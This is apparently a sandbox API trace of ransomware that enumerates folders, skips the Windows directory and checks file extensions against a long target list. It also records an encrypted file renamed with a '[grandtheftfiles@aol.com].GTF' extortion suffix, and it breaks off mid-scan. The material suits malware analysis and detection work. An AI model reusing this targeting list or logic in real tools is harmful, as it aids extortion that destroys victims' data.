	[0152.780] FindNextFileW (in: hFindFile=0x5ba2b0, lpFindFileData=0x310fcf8 | out: lpFindFileData=0x310fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa42782c0, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa42782c0, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77be0000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1
	[0152.781] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0152.781] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212") returned 1
	[0152.781] lstrlenW (lpString="588bce7c90097ed212") returned 18
	[0152.781] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="588bce7c90097ed212") returned 1
	[0152.781] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x39f0740
	[0152.781] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0152.781] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa42782c0, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa42782c0, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName=".", cAlternateFileName="")) returned 0x5ba530
	[0152.851] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa42782c0, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa42782c0, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="..", cAlternateFileName="")) returned 1
	[0152.875] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9c784930, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9c784930, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="1025", cAlternateFileName="")) returned 1
	[0152.908] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025") returned 26
	[0152.908] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212\\1025") returned 1
	[0152.908] lstrlenW (lpString="1025") returned 4
	[0152.908] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="1025") returned 1
	[0152.908] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4130060
	[0152.908] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025") returned 26
	[0152.908] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9c784930, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9c784930, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName=".", cAlternateFileName="")) returned 0x5ba770
	[0152.909] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9c784930, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9c784930, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="..", cAlternateFileName="")) returned 1
	[0152.909] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9c75ea12, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9c75ea12, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9c75ea12, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0152.909] lstrlenW (lpString="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF") returned 50
	[0152.909] lstrlenW (lpString=".1cd") returned 4
	[0152.909] lstrcmpiW (lpString1=".1cd", lpString2=".GTF") returned -1
	[0152.909] lstrlenW (lpString=".3ds") returned 4
	[0152.909] lstrcmpiW (lpString1=".3ds", lpString2=".GTF") returned -1
	[0152.909] lstrlenW (lpString=".3fr") returned 4
	[0152.909] lstrcmpiW (lpString1=".3fr", lpString2=".GTF") returned -1
	[0152.909] lstrlenW (lpString=".3g2") returned 4
	[0152.909] lstrcmpiW (lpString1=".3g2", lpString2=".GTF") returned -1
	[0152.909] lstrlenW (lpString=".3gp") returned 4
	[0152.910] lstrcmpiW (lpString1=".3gp", lpString2=".GTF") returned -1
	[0152.910] lstrlenW (lpString=".7z") returned 3
	[0152.910] lstrcmpiW (lpString1=".7z", lpString2="GTF") returned -1
	[0152.910] lstrlenW (lpString=".accda") returned 6
	[0152.910] lstrcmpiW (lpString1=".accda", lpString2="m].GTF") returned -1
	[0152.910] lstrlenW (lpString=".accdb") returned 6
	[0152.910] lstrcmpiW (lpString1=".accdb", lpString2="m].GTF") returned -1
	[0152.910] lstrlenW (lpString=".accdc") returned 6
	[0152.910] lstrcmpiW (lpString1=".accdc", lpString2="m].GTF") returned -1
	[0152.910] lstrlenW (lpString=".accde") returned 6
	[0152.910] lstrcmpiW (lpString1=".accde", lpString2="m].GTF") returned -1
	[0152.910] lstrlenW (lpString=".accdt") returned 6
	[0152.910] lstrcmpiW (lpString1=".accdt", lpString2="m].GTF") returned -1
	[0152.910] lstrlenW (lpString=".accdw") returned 6
	[0152.910] lstrcmpiW (lpString1=".accdw", lpString2="m].GTF") returned -1
	[0152.910] lstrlenW (lpString=".adb") returned 4
	[0152.910] lstrcmpiW (lpString1=".adb", lpString2=".GTF") returned -1
	[0152.910] lstrlenW (lpString=".adp") returned 4
	[0152.910] lstrcmpiW (lpString1=".adp", lpString2=".GTF") returned -1
	[0152.910] lstrlenW (lpString=".ai") returned 3
	[0152.910] lstrcmpiW (lpString1=".ai", lpString2="GTF") returned -1
	[0152.910] lstrlenW (lpString=".ai3") returned 4
	[0152.910] lstrcmpiW (lpString1=".ai3", lpString2=".GTF") returned -1
	[0152.910] lstrlenW (lpString=".ai4") returned 4
	[0152.910] lstrcmpiW (lpString1=".ai4", lpString2=".GTF") returned -1
	[0152.910] lstrlenW (lpString=".ai5") returned 4
	[0152.910] lstrcmpiW (lpString1=".ai5", lpString2=".GTF") returned -1
	[0152.910] lstrlenW (lpString=".ai6") returned 4
	[0152.910] lstrcmpiW (lpString1=".ai6", lpString2=".GTF") returned -1
	[0152.910] lstrlenW (lpString=".ai7") returned 4
	[0152.910] lstrcmpiW (lpString1=".ai7", lpString2=".GTF") returned -1
	[0152.910] lstrlenW (lpString=".ai8") returned 4
	[0152.910] lstrcmpiW (lpString1=".ai8", lpString2=".GTF") returned -1
	[0152.910] lstrlenW (lpString=".anim") returned 5
	[0152.911] lstrcmpiW (lpString1=".anim", lpString2="].GTF") returned -1
	[0152.911] lstrlenW (lpString=".arw") returned 4
	[0152.911] lstrcmpiW (lpString1=".arw", lpString2=".GTF") returned -1
	[0152.911] lstrlenW (lpString=".as") returned 3
	[0152.911] lstrcmpiW (lpString1=".as", lpString2="GTF") returned -1
	[0152.911] lstrlenW (lpString=".asa") returned 4
	[0152.911] lstrcmpiW (lpString1=".asa", lpString2=".GTF") returned -1
	[0152.911] lstrlenW (lpString=".asc") returned 4
	[0152.911] lstrcmpiW (lpString1=".asc", lpString2=".GTF") returned -1
	[0152.911] lstrlenW (lpString=".ascx") returned 5
	[0152.911] lstrcmpiW (lpString1=".ascx", lpString2="].GTF") returned -1
	[0152.911] lstrlenW (lpString=".asm") returned 4
	[0152.911] lstrcmpiW (lpString1=".asm", lpString2=".GTF") returned -1
	[0152.911] lstrlenW (lpString=".asmx") returned 5
	[0152.911] lstrcmpiW (lpString1=".asmx", lpString2="].GTF") returned -1
	[0152.911] lstrlenW (lpString=".asp") returned 4
	[0152.911] lstrcmpiW (lpString1=".asp", lpString2=".GTF") returned -1
	[0152.911] lstrlenW (lpString=".aspx") returned 5
	[0152.911] lstrcmpiW (lpString1=".aspx", lpString2="].GTF") returned -1
	[0152.911] lstrlenW (lpString=".asr") returned 4
	[0152.911] lstrcmpiW (lpString1=".asr", lpString2=".GTF") returned -1
	[0152.911] lstrlenW (lpString=".asx") returned 4
	[0152.911] lstrcmpiW (lpString1=".asx", lpString2=".GTF") returned -1
	[0152.911] lstrlenW (lpString=".avi") returned 4
	[0152.911] lstrcmpiW (lpString1=".avi", lpString2=".GTF") returned -1
	[0152.911] lstrlenW (lpString=".avs") returned 4
	[0152.911] lstrcmpiW (lpString1=".avs", lpString2=".GTF") returned -1
	[0152.911] lstrlenW (lpString=".backup") returned 7
	[0152.911] lstrcmpiW (lpString1=".backup", lpString2="om].GTF") returned -1
	[0152.911] lstrlenW (lpString=".bak") returned 4
	[0152.911] lstrcmpiW (lpString1=".bak", lpString2=".GTF") returned -1
	[0152.911] lstrlenW (lpString=".bay") returned 4
	[0152.911] lstrcmpiW (lpString1=".bay", lpString2=".GTF") returned -1
	[0152.911] lstrlenW (lpString=".bd") returned 3
	[0152.911] lstrcmpiW (lpString1=".bd", lpString2="GTF") returned -1
	[0152.911] lstrlenW (lpString=".bin") returned 4
	[0152.911] lstrcmpiW (lpString1=".bin", lpString2=".GTF") returned -1
	[0152.911] lstrlenW (lpString=".bmp") returned 4
	[0152.911] lstrcmpiW (lpString1=".bmp", lpString2=".GTF") returned -1
	[0152.912] lstrlenW (lpString=".bz2") returned 4
	[0152.912] lstrcmpiW (lpString1=".bz2", lpString2=".GTF") returned -1
	[0152.912] lstrlenW (lpString=".c") returned 2
	[0152.912] lstrcmpiW (lpString1=".c", lpString2="TF") returned -1
	[0152.912] lstrlenW (lpString=".cdr") returned 4
	[0152.912] lstrcmpiW (lpString1=".cdr", lpString2=".GTF") returned -1
	[0152.912] lstrlenW (lpString=".cer") returned 4
	[0152.912] lstrcmpiW (lpString1=".cer", lpString2=".GTF") returned -1
	[0152.912] lstrlenW (lpString=".cf") returned 3
	[0152.912] lstrcmpiW (lpString1=".cf", lpString2="GTF") returned -1
	[0152.912] lstrlenW (lpString=".cfc") returned 4
	[0152.912] lstrcmpiW (lpString1=".cfc", lpString2=".GTF") returned -1
	[0152.912] lstrlenW (lpString=".cfm") returned 4
	[0152.912] lstrcmpiW (lpString1=".cfm", lpString2=".GTF") returned -1
	[0152.912] lstrlenW (lpString=".cfml") returned 5
	[0152.912] lstrcmpiW (lpString1=".cfml", lpString2="].GTF") returned -1
	[0152.912] lstrlenW (lpString=".cfu") returned 4
	[0152.912] lstrcmpiW (lpString1=".cfu", lpString2=".GTF") returned -1
	[0152.912] lstrlenW (lpString=".chm") returned 4
	[0152.912] lstrcmpiW (lpString1=".chm", lpString2=".GTF") returned -1
	[0152.912] lstrlenW (lpString=".cin") returned 4
	[0152.912] lstrcmpiW (lpString1=".cin", lpString2=".GTF") returned -1
	[0152.912] lstrlenW (lpString=".class") returned 6
	[0152.912] lstrcmpiW (lpString1=".class", lpString2="m].GTF") returned -1
	[0152.912] lstrlenW (lpString=".clx") returned 4
	[0152.912] lstrcmpiW (lpString1=".clx", lpString2=".GTF") returned -1
	[0152.912] lstrlenW (lpString=".config") returned 7
	[0152.912] lstrcmpiW (lpString1=".config", lpString2="om].GTF") returned -1
	[0152.912] lstrlenW (lpString=".cpp") returned 4
	[0152.912] lstrcmpiW (lpString1=".cpp", lpString2=".GTF") returned -1
	[0152.912] lstrlenW (lpString=".cr2") returned 4
	[0152.912] lstrcmpiW (lpString1=".cr2", lpString2=".GTF") returned -1
	[0152.912] lstrlenW (lpString=".crt") returned 4
	[0152.912] lstrcmpiW (lpString1=".crt", lpString2=".GTF") returned -1
	[0152.912] lstrlenW (lpString=".crw") returned 4
	[0152.912] lstrcmpiW (lpString1=".crw", lpString2=".GTF") returned -1
	[0152.912] lstrlenW (lpString=".cs") returned 3
	[0152.912] lstrcmpiW (lpString1=".cs", lpString2="GTF") returned -1
	[0152.912] lstrlenW (lpString=".css") returned 4
	[0152.913] lstrcmpiW (lpString1=".css", lpString2=".GTF") returned -1
	[0152.913] lstrlenW (lpString=".csv") returned 4
	[0152.913] lstrcmpiW (lpString1=".csv", lpString2=".GTF") returned -1
	[0152.913] lstrlenW (lpString=".cub") returned 4
	[0152.913] lstrcmpiW (lpString1=".cub", lpString2=".GTF") returned -1
	[0152.913] lstrlenW (lpString=".dae") returned 4
	[0152.913] lstrcmpiW (lpString1=".dae", lpString2=".GTF") returned -1
	[0152.913] lstrlenW (lpString=".dat") returned 4
	[0152.913] lstrcmpiW (lpString1=".dat", lpString2=".GTF") returned -1
	[0152.913] lstrlenW (lpString=".db") returned 3
	[0152.913] lstrcmpiW (lpString1=".db", lpString2="GTF") returned -1
	[0152.913] lstrlenW (lpString=".dbf") returned 4
	[0152.913] lstrcmpiW (lpString1=".dbf", lpString2=".GTF") returned -1
	[0152.913] lstrlenW (lpString=".dbx") returned 4
	[0152.913] lstrcmpiW (lpString1=".dbx", lpString2=".GTF") returned -1
	[0152.913] lstrlenW (lpString=".dc3") returned 4
	[0152.913] lstrcmpiW (lpString1=".dc3", lpString2=".GTF") returned -1
	[0152.913] lstrlenW (lpString=".dcm") returned 4
	[0152.913] lstrcmpiW (lpString1=".dcm", lpString2=".GTF") returned -1
	[0152.913] lstrlenW (lpString=".dcr") returned 4
	[0152.913] lstrcmpiW (lpString1=".dcr", lpString2=".GTF") returned -1
	[0152.913] lstrlenW (lpString=".der") returned 4
	[0152.913] lstrcmpiW (lpString1=".der", lpString2=".GTF") returned -1
	[0152.913] lstrlenW (lpString=".dib") returned 4
	[0152.913] lstrcmpiW (lpString1=".dib", lpString2=".GTF") returned -1
	[0152.913] lstrlenW (lpString=".dic") returned 4
	[0152.913] lstrcmpiW (lpString1=".dic", lpString2=".GTF") returned -1
	[0152.913] lstrlenW (lpString=".dif") returned 4
	[0152.913] lstrcmpiW (lpString1=".dif", lpString2=".GTF") returned -1
	[0152.913] lstrlenW (lpString=".divx") returned 5
	[0152.913] lstrcmpiW (lpString1=".divx", lpString2="].GTF") returned -1
	[0152.913] lstrlenW (lpString=".djvu") returned 5
	[0152.913] lstrcmpiW (lpString1=".djvu", lpString2="].GTF") returned -1
	[0152.913] lstrlenW (lpString=".dng") returned 4
	[0152.913] lstrcmpiW (lpString1=".dng", lpString2=".GTF") returned -1
	[0152.913] lstrlenW (lpString=".doc") returned 4
	[0152.913] lstrcmpiW (lpString1=".doc", lpString2=".GTF") returned -1
	[0152.913] lstrlenW (lpString=".docm") returned 5
	[0152.913] lstrcmpiW (lpString1=".docm", lpString2="].GTF") returned -1
	[0152.914] lstrlenW (lpString=".docx") returned 5
	[0152.914] lstrcmpiW (lpString1=".docx", lpString2="].GTF") returned -1
	[0152.914] lstrlenW (lpString=".dot") returned 4
	[0152.914] lstrcmpiW (lpString1=".dot", lpString2=".GTF") returned -1
	[0152.914] lstrlenW (lpString=".dotm") returned 5
	[0152.914] lstrcmpiW (lpString1=".dotm", lpString2="].GTF") returned -1
	[0152.914] lstrlenW (lpString=".dotx") returned 5
	[0152.914] lstrcmpiW (lpString1=".dotx", lpString2="].GTF") returned -1
	[0152.914] lstrlenW (lpString=".dpx") returned 4
	[0152.914] lstrcmpiW (lpString1=".dpx", lpString2=".GTF") returned -1
	[0152.914] lstrlenW (lpString=".dqy") returned 4
	[0152.914] lstrcmpiW (lpString1=".dqy", lpString2=".GTF") returned -1
	[0152.914] lstrlenW (lpString=".dsn") returned 4
	[0152.914] lstrcmpiW (lpString1=".dsn", lpString2=".GTF") returned -1
	[0152.914] lstrlenW (lpString=".dt") returned 3
	[0152.914] lstrcmpiW (lpString1=".dt", lpString2="GTF") returned -1
	[0152.914] lstrlenW (lpString=".dtd") returned 4
	[0152.914] lstrcmpiW (lpString1=".dtd", lpString2=".GTF") returned -1
	[0152.914] lstrlenW (lpString=".dwg") returned 4
	[0152.914] lstrcmpiW (lpString1=".dwg", lpString2=".GTF") returned -1
	[0152.914] lstrlenW (lpString=".dwt") returned 4
	[0152.914] lstrcmpiW (lpString1=".dwt", lpString2=".GTF") returned -1
	[0152.914] lstrlenW (lpString=".dx") returned 3
	[0152.914] lstrcmpiW (lpString1=".dx", lpString2="GTF") returned -1
	[0152.914] lstrlenW (lpString=".dxf") returned 4
	[0152.914] lstrcmpiW (lpString1=".dxf", lpString2=".GTF") returned -1
	[0152.914] lstrlenW (lpString=".edml") returned 5
	[0152.914] lstrcmpiW (lpString1=".edml", lpString2="].GTF") returned -1
	[0152.914] lstrlenW (lpString=".efd") returned 4
	[0152.914] lstrcmpiW (lpString1=".efd", lpString2=".GTF") returned -1
	[0152.914] lstrlenW (lpString=".elf") returned 4
	[0152.914] lstrcmpiW (lpString1=".elf", lpString2=".GTF") returned -1
	[0152.914] lstrlenW (lpString=".emf") returned 4
	[0152.914] lstrcmpiW (lpString1=".emf", lpString2=".GTF") returned -1
	[0152.914] lstrlenW (lpString=".emz") returned 4
	[0152.914] lstrcmpiW (lpString1=".emz", lpString2=".GTF") returned -1
	[0152.914] lstrlenW (lpString=".epf") returned 4
	[0152.914] lstrcmpiW (lpString1=".epf", lpString2=".GTF") returned -1
	[0152.915] lstrlenW (lpString=".eps") returned 4
	[0152.915] lstrcmpiW (lpString1=".eps", lpString2=".GTF") returned -1
	[0152.915] lstrlenW (lpString=".epsf") returned 5
	[0152.915] lstrcmpiW (lpString1=".epsf", lpString2="].GTF") returned -1
	[0152.915] lstrlenW (lpString=".epsp") returned 5
	[0152.915] lstrcmpiW (lpString1=".epsp", lpString2="].GTF") returned -1
	[0152.915] lstrlenW (lpString=".erf") returned 4
	[0152.915] lstrcmpiW (lpString1=".erf", lpString2=".GTF") returned -1
	[0152.915] lstrlenW (lpString=".exr") returned 4
	[0152.915] lstrcmpiW (lpString1=".exr", lpString2=".GTF") returned -1
	[0152.915] lstrlenW (lpString=".f4v") returned 4
	[0152.915] lstrcmpiW (lpString1=".f4v", lpString2=".GTF") returned -1
	[0152.915] lstrlenW (lpString=".fido") returned 5
	[0152.915] lstrcmpiW (lpString1=".fido", lpString2="].GTF") returned -1
	[0152.915] lstrlenW (lpString=".flm") returned 4
	[0152.915] lstrcmpiW (lpString1=".flm", lpString2=".GTF") returned -1
	[0152.915] lstrlenW (lpString=".flv") returned 4
	[0152.915] lstrcmpiW (lpString1=".flv", lpString2=".GTF") returned -1
	[0152.915] lstrlenW (lpString=".frm") returned 4
	[0152.915] lstrcmpiW (lpString1=".frm", lpString2=".GTF") returned -1
	[0152.915] lstrlenW (lpString=".fxg") returned 4
	[0152.915] lstrcmpiW (lpString1=".fxg", lpString2=".GTF") returned -1
	[0152.915] lstrlenW (lpString=".geo") returned 4
	[0152.915] lstrcmpiW (lpString1=".geo", lpString2=".GTF") returned -1
	[0152.915] lstrlenW (lpString=".gif") returned 4
	[0152.915] lstrcmpiW (lpString1=".gif", lpString2=".GTF") returned -1
	[0152.915] lstrlenW (lpString=".grs") returned 4
	[0152.915] lstrcmpiW (lpString1=".grs", lpString2=".GTF") returned -1
	[0152.915] lstrlenW (lpString=".gz") returned 3
	[0152.915] lstrcmpiW (lpString1=".gz", lpString2="GTF") returned -1
	[0152.915] lstrlenW (lpString=".h") returned 2
	[0152.915] lstrcmpiW (lpString1=".h", lpString2="TF") returned -1
	[0152.915] lstrlenW (lpString=".hdr") returned 4
	[0152.915] lstrcmpiW (lpString1=".hdr", lpString2=".GTF") returned 1
	[0152.915] lstrlenW (lpString=".hpp") returned 4
	[0152.915] lstrcmpiW (lpString1=".hpp", lpString2=".GTF") returned 1
	[0152.915] lstrlenW (lpString=".hta") returned 4
	[0152.915] lstrcmpiW (lpString1=".hta", lpString2=".GTF") returned 1
	[0152.915] lstrlenW (lpString=".htc") returned 4
	[0152.916] lstrcmpiW (lpString1=".htc", lpString2=".GTF") returned 1
	[0152.916] lstrlenW (lpString=".htm") returned 4
	[0152.916] lstrcmpiW (lpString1=".htm", lpString2=".GTF") returned 1
	[0152.916] lstrlenW (lpString=".html") returned 5
	[0152.916] lstrcmpiW (lpString1=".html", lpString2="].GTF") returned -1
	[0152.916] lstrlenW (lpString=".icb") returned 4
	[0152.916] lstrcmpiW (lpString1=".icb", lpString2=".GTF") returned 1
	[0152.916] lstrlenW (lpString=".ics") returned 4
	[0152.916] lstrcmpiW (lpString1=".ics", lpString2=".GTF") returned 1
	[0152.916] lstrlenW (lpString=".iff") returned 4
	[0152.916] lstrcmpiW (lpString1=".iff", lpString2=".GTF") returned 1
	[0152.916] lstrlenW (lpString=".inc") returned 4
	[0152.916] lstrcmpiW (lpString1=".inc", lpString2=".GTF") returned 1
	[0152.916] lstrlenW (lpString=".indd") returned 5
	[0152.916] lstrcmpiW (lpString1=".indd", lpString2="].GTF") returned -1
	[0152.916] lstrlenW (lpString=".ini") returned 4
	[0152.916] lstrcmpiW (lpString1=".ini", lpString2=".GTF") returned 1
	[0152.916] lstrlenW (lpString=".iqy") returned 4
	[0152.916] lstrcmpiW (lpString1=".iqy", lpString2=".GTF") returned 1
	[0152.916] lstrlenW (lpString=".j2c") returned 4
	[0152.916] lstrcmpiW (lpString1=".j2c", lpString2=".GTF") returned 1
	[0152.916] lstrlenW (lpString=".j2k") returned 4
	[0152.916] lstrcmpiW (lpString1=".j2k", lpString2=".GTF") returned 1
	[0152.916] lstrlenW (lpString=".java") returned 5
	[0152.916] lstrcmpiW (lpString1=".java", lpString2="].GTF") returned -1
	[0152.916] lstrlenW (lpString=".jp2") returned 4
	[0152.916] lstrcmpiW (lpString1=".jp2", lpString2=".GTF") returned 1
	[0152.916] lstrlenW (lpString=".jpc") returned 4
	[0152.916] lstrcmpiW (lpString1=".jpc", lpString2=".GTF") returned 1
	[0152.916] lstrlenW (lpString=".jpe") returned 4
	[0152.916] lstrcmpiW (lpString1=".jpe", lpString2=".GTF") returned 1
	[0152.916] lstrlenW (lpString=".jpeg") returned 5
	[0152.916] lstrcmpiW (lpString1=".jpeg", lpString2="].GTF") returned -1
	[0152.916] lstrlenW (lpString=".jpf") returned 4
	[0152.916] lstrcmpiW (lpString1=".jpf", lpString2=".GTF") returned 1
	[0152.916] lstrlenW (lpString=".jpg") returned 4
	[0152.916] lstrcmpiW (lpString1=".jpg", lpString2=".GTF") returned 1
	[0152.916] lstrlenW (lpString=".jpx") returned 4
	[0152.916] lstrcmpiW (lpString1=".jpx", lpString2=".GTF") returned 1
	[0152.917] lstrlenW (lpString=".js") returned 3
	[0152.917] lstrcmpiW (lpString1=".js", lpString2="GTF") returned -1
	[0152.917] lstrlenW (lpString=".jsf") returned 4
	[0152.917] lstrcmpiW (lpString1=".jsf", lpString2=".GTF") returned 1
	[0152.917] lstrlenW (lpString=".json") returned 5
	[0152.917] lstrcmpiW (lpString1=".json", lpString2="].GTF") returned -1
	[0152.917] lstrlenW (lpString=".jsp") returned 4
	[0152.917] lstrcmpiW (lpString1=".jsp", lpString2=".GTF") returned 1
	[0152.917] lstrlenW (lpString=".kdc") returned 4
	[0152.917] lstrcmpiW (lpString1=".kdc", lpString2=".GTF") returned 1
	[0152.917] lstrlenW (lpString=".kmz") returned 4
	[0152.917] lstrcmpiW (lpString1=".kmz", lpString2=".GTF") returned 1
	[0152.917] lstrlenW (lpString=".kwm") returned 4
	[0152.917] lstrcmpiW (lpString1=".kwm", lpString2=".GTF") returned 1
	[0152.917] lstrlenW (lpString=".lasso") returned 6
	[0152.917] lstrcmpiW (lpString1=".lasso", lpString2="m].GTF") returned -1
	[0152.917] lstrlenW (lpString=".lbi") returned 4
	[0152.917] lstrcmpiW (lpString1=".lbi", lpString2=".GTF") returned 1
	[0152.917] lstrlenW (lpString=".lgf") returned 4
	[0152.917] lstrcmpiW (lpString1=".lgf", lpString2=".GTF") returned 1
	[0152.917] lstrlenW (lpString=".lgp") returned 4
	[0152.917] lstrcmpiW (lpString1=".lgp", lpString2=".GTF") returned 1
	[0152.917] lstrlenW (lpString=".log") returned 4
	[0152.917] lstrcmpiW (lpString1=".log", lpString2=".GTF") returned 1
	[0152.917] lstrlenW (lpString=".m1v") returned 4
	[0152.917] lstrcmpiW (lpString1=".m1v", lpString2=".GTF") returned 1
	[0152.917] lstrlenW (lpString=".m4a") returned 4
	[0152.917] lstrcmpiW (lpString1=".m4a", lpString2=".GTF") returned 1
	[0152.917] lstrlenW (lpString=".m4v") returned 4
	[0152.917] lstrcmpiW (lpString1=".m4v", lpString2=".GTF") returned 1
	[0152.917] lstrlenW (lpString=".max") returned 4
	[0152.917] lstrcmpiW (lpString1=".max", lpString2=".GTF") returned 1
	[0152.917] lstrlenW (lpString=".md") returned 3
	[0152.917] lstrcmpiW (lpString1=".md", lpString2="GTF") returned -1
	[0152.917] lstrlenW (lpString=".mda") returned 4
	[0152.917] lstrcmpiW (lpString1=".mda", lpString2=".GTF") returned 1
	[0152.917] lstrlenW (lpString=".mdb") returned 4
	[0152.917] lstrcmpiW (lpString1=".mdb", lpString2=".GTF") returned 1
	[0152.917] lstrlenW (lpString=".mde") returned 4
	[0152.918] lstrcmpiW (lpString1=".mde", lpString2=".GTF") returned 1
	[0152.918] lstrlenW (lpString=".mdf") returned 4
	[0152.918] lstrcmpiW (lpString1=".mdf", lpString2=".GTF") returned 1
	[0152.918] lstrlenW (lpString=".mdw") returned 4
	[0152.918] lstrcmpiW (lpString1=".mdw", lpString2=".GTF") returned 1
	[0152.918] lstrlenW (lpString=".mef") returned 4
	[0152.918] lstrcmpiW (lpString1=".mef", lpString2=".GTF") returned 1
	[0152.918] lstrlenW (lpString=".mft") returned 4
	[0152.918] lstrcmpiW (lpString1=".mft", lpString2=".GTF") returned 1
	[0152.918] lstrlenW (lpString=".mfw") returned 4
	[0152.918] lstrcmpiW (lpString1=".mfw", lpString2=".GTF") returned 1
	[0152.918] lstrlenW (lpString=".mht") returned 4
	[0152.918] lstrcmpiW (lpString1=".mht", lpString2=".GTF") returned 1
	[0152.918] lstrlenW (lpString=".mhtml") returned 6
	[0152.918] lstrcmpiW (lpString1=".mhtml", lpString2="m].GTF") returned -1
	[0152.918] lstrlenW (lpString=".mka") returned 4
	[0152.918] lstrcmpiW (lpString1=".mka", lpString2=".GTF") returned 1
	[0152.918] lstrlenW (lpString=".mkidx") returned 6
	[0152.918] lstrcmpiW (lpString1=".mkidx", lpString2="m].GTF") returned -1
	[0152.918] lstrlenW (lpString=".mkv") returned 4
	[0152.918] lstrcmpiW (lpString1=".mkv", lpString2=".GTF") returned 1
	[0152.918] lstrlenW (lpString=".mos") returned 4
	[0152.918] lstrcmpiW (lpString1=".mos", lpString2=".GTF") returned 1
	[0152.918] lstrlenW (lpString=".mov") returned 4
	[0152.918] lstrcmpiW (lpString1=".mov", lpString2=".GTF") returned 1
	[0152.918] lstrlenW (lpString=".mp3") returned 4
	[0152.918] lstrcmpiW (lpString1=".mp3", lpString2=".GTF") returned 1
	[0152.918] lstrlenW (lpString=".mp4") returned 4
	[0152.918] lstrcmpiW (lpString1=".mp4", lpString2=".GTF") returned 1
	[0152.918] lstrlenW (lpString=".mpeg") returned 5
	[0152.918] lstrcmpiW (lpString1=".mpeg", lpString2="].GTF") returned -1
	[0152.918] lstrlenW (lpString=".mpg") returned 4
	[0152.918] lstrcmpiW (lpString1=".mpg", lpString2=".GTF") returned 1
	[0152.918] lstrlenW (lpString=".mpv") returned 4
	[0152.918] lstrcmpiW (lpString1=".mpv", lpString2=".GTF") returned 1
	[0152.918] lstrlenW (lpString=".mrw") returned 4
	[0152.918] lstrcmpiW (lpString1=".mrw", lpString2=".GTF") returned 1
	[0152.918] lstrlenW (lpString=".msg") returned 4
	[0152.918] lstrcmpiW (lpString1=".msg", lpString2=".GTF") returned 1
	[0152.919] lstrlenW (lpString=".mxl") returned 4
	[0152.919] lstrcmpiW (lpString1=".mxl", lpString2=".GTF") returned 1
	[0152.919] lstrlenW (lpString=".myd") returned 4
